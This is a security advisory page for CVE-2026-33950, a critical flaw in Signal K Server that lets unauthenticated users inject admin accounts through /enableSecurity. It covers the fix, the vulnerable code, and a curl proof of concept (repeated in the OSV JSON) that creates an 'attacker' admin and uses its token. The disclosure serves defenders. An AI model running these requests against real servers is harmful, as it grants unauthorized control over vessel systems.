CVE-2026-33950: Signal K Server Privilege Escalation By Admin Role Vulnerability

CRITICAL
Advisory Identifier: GHSA-x8hc-fqv3-7gwf
CVSS 9.4
CWE-862 CWE-285 CWE-288
Published
Advisory Summary

CVE-2026-33950 is a CRITICAL (CVSS 9.4) privilege escalation by admin role vulnerability (CWE-862: Missing Authorization) affecting Signal K Server libraries in the npm ecosystem. The issue involves privilege escalation by admin role injection via /enablesecurity. Remediation is available by upgrading affected packages to version 2.24.0-beta.4.

CVE-2026-33950 at a Glance

CVE Identifier CVE-2026-33950
GHSA Identifier GHSA-x8hc-fqv3-7gwf
Severity CRITICAL
CVSS v3.1 Base Score 9.4
CWE Classification CWE-862: Missing Authorization
Affected Product Signal K Server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-33950

To remediate this vulnerability, upgrade all affected Signal K Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

signalk-server fixed: 2.24.0-beta.4
npm install signalk-server@2.24.0-beta.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls signalk-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-33950, inspect your project dependencies using npm:

npm ls signalk-server

Analyze the terminal output to locate any version of Signal K Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.24.0-beta.4), your application is affected.

Note: The npm ls signalk-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Signal K Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary According to SignalK's security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design. However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open. Furthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones. ## Vulnerable Root Cause File: src/serverroutes.ts (Lines 685-754) ``` if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) { app.post( `${SERVERROUTESPREFIX}/enableSecurity`, (req: Request, res: Response) => { // ... function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) { // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy securityStrategy.addUser(config, request.body, (err, theConfig) => { // ... }) } } // ... No code disables or removes this route after first execution. // The conditional check on Line 685 only happens during server startup, ``` File: src/tokensecurity.ts (Lines 980-994) ``` function addUser( theConfig: SecurityConfig, user: { userId: string; type: string; password?: string }, callback: ICallback<SecurityConfig> ): void { // ... const newUser: User = { username: user.userId, type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field } ``` ## Proof of Concept (PoC) **Simulate Legitimate Initial Setup**: Send a POST request to the open enableSecurity route defining the initial legitimate admin account. ``` curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "admin", "password": "securepassword", "type": "admin"}' Result: Security enabled ``` **Inject Malicious Admin**: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled. ``` curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "attacker", "password": "password123", "type": "admin"}' Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin). ``` **Verify Both Admins Exist**: Login via JWT as the attacker and query the restricted users endpoint. ``` # Get Token for Attacker TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username": "attacker", "password": "password123"}' | jq -r .token) ``` ``` # Access Admin-Only Data curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users Result: The system returns both admin and attacker as active Administrators. ``` <img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" /> ## Security Impact An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints

CVE-2026-33950 Affected Signal K Server Versions

1 component(s)
Fixed Versions:
2.24.0-beta.4
Product / Package Ecosystem Affected Versions Fixed Version
signalk-server
npm
< 2.24.0-beta.4
2.24.0-beta.4

References

Frequently Asked Questions

What is CVE-2026-33950?
CVE-2026-33950 is a security vulnerability in Signal K Server involving Privilege Escalation by Admin Role Injection via /enableSecurity under CWE-862: Missing Authorization.
Which Signal K Server versions are affected?
Affected versions include releases prior to 2.24.0-beta.4 across affected packages: signalk-server.
What version fixes CVE-2026-33950?
Upgrading to 2.24.0-beta.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is signalk-server affected?
Yes, signalk-server is affected in releases prior to 2.24.0-beta.4. Upgrade your dependency to 2.24.0-beta.4 or later.
What is the CVSS score of CVE-2026-33950?
CVE-2026-33950 has a CVSS v3.1 base score of 9.4 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-33950?
CVE-2026-33950 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check npm dependencies for CVE-2026-33950?
Run the dependency tree command: 'npm ls signalk-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x8hc-fqv3-7gwf",
  "modified" : "2026-04-03T21:37:19Z",
  "published" : "2026-04-03T21:37:19Z",
  "aliases" : [ "CVE-2026-33950" ],
  "summary" : "Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurity ",
  "details" : "## Summary\n\nAccording to SignalK's security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.\n\nHowever, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open.\n\nFurthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.\n\n## Vulnerable Root Cause \n\nFile:  src/serverroutes.ts (Lines 685-754)\n```\nif (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {\n    app.post(\n      `${SERVERROUTESPREFIX}/enableSecurity`,\n      (req: Request, res: Response) => {\n        // ...\n        function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {\n          // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy\n          securityStrategy.addUser(config, request.body, (err, theConfig) => {\n            // ...\n          })\n        }\n      }\n    // ... No code disables or removes this route after first execution.\n    // The conditional check on Line 685 only happens during server startup, \n```\n\nFile: src/tokensecurity.ts (Lines 980-994)\n```\nfunction addUser(\n    theConfig: SecurityConfig,\n    user: { userId: string; type: string; password?: string },\n    callback: ICallback<SecurityConfig>\n  ): void {\n    // ...\n    const newUser: User = {\n      username: user.userId,\n      type: user.type // [!VULNERABLE] Blindly trusts the injected \"type\" field\n    }\n```\n\n## Proof of Concept (PoC)\n\n**Simulate Legitimate Initial Setup**: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"userId\": \"admin\", \"password\": \"securepassword\", \"type\": \"admin\"}'\n\nResult: Security enabled\n```\n\n**Inject Malicious Admin**: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.\n\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"userId\": \"attacker\", \"password\": \"password123\", \"type\": \"admin\"}'\n\nResult: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).\n```\n\n**Verify Both Admins Exist**: Login via JWT as the attacker and query the restricted users endpoint.\n\n```\n# Get Token for Attacker\nTOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\": \"attacker\", \"password\": \"password123\"}' | jq -r .token)\n```\n```\n# Access Admin-Only Data\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:3000/skServer/security/users\nResult: The system returns both admin and attacker as active Administrators.\n```\n\n<img width=\"1205\" height=\"469\" alt=\"Screenshot 2026-03-24 145906\" src=\"https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a\" />\n\n## Security Impact\nAn unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "signalk-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.24.0-beta.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/security/advisories/GHSA-x8hc-fqv3-7gwf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33950"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SignalK/signalk-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-288", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:37:19Z",
    "nvd_published_at" : "2026-04-02T17:16:22Z"
  }
}